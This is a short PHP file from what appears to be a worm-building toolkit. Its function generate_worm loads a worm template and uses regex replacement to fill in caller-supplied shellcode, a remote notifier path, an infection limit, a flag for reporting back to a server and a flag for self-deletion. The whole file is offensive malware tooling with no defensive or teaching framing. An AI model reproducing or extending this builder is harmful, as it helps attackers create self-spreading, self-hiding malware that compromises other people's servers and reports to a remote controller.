<?php
/**
 * Created by PhpStorm.
 * User: Weizehua
 * Date: 8/9/2016
 * Time: 13:14
 */
include_once("get_code.php");

function generate_worm($remote_injected_notifier_path, $shellcode, $max_inject = -1, $notify_server = true, $delete_self = true)
{
    $worm_source_path = "../client/worm.php";
    
    $pattens = array();
    $pattens[sizeof($pattens)] = generate_assign_patten('remote_injected_notifier_path');
    $pattens[sizeof($pattens)] = generate_assign_patten('shellcode');
    $pattens[sizeof($pattens)] = generate_assign_patten('max_inject');
    $pattens[sizeof($pattens)] = generate_assign_patten('notify_server');
    $pattens[sizeof($pattens)] = generate_assign_patten('delete_self');
    $replacements = array();
    $replacements[sizeof($replacements)] = stringify_code($remote_injected_notifier_path);
    $replacements[sizeof($replacements)] = preg_replacement_quote(stringify_code($shellcode));
    $replacements[sizeof($replacements)] = strval($max_inject);
    $replacements[sizeof($replacements)] = $notify_server ? 'true' : 'false';
    $replacements[sizeof($replacements)] = $delete_self ? 'true' : 'false';
    
    $code = get_code($worm_source_path);
    $fixedCode = preg_replace($pattens, $replacements, $code);
    return $fixedCode;
}

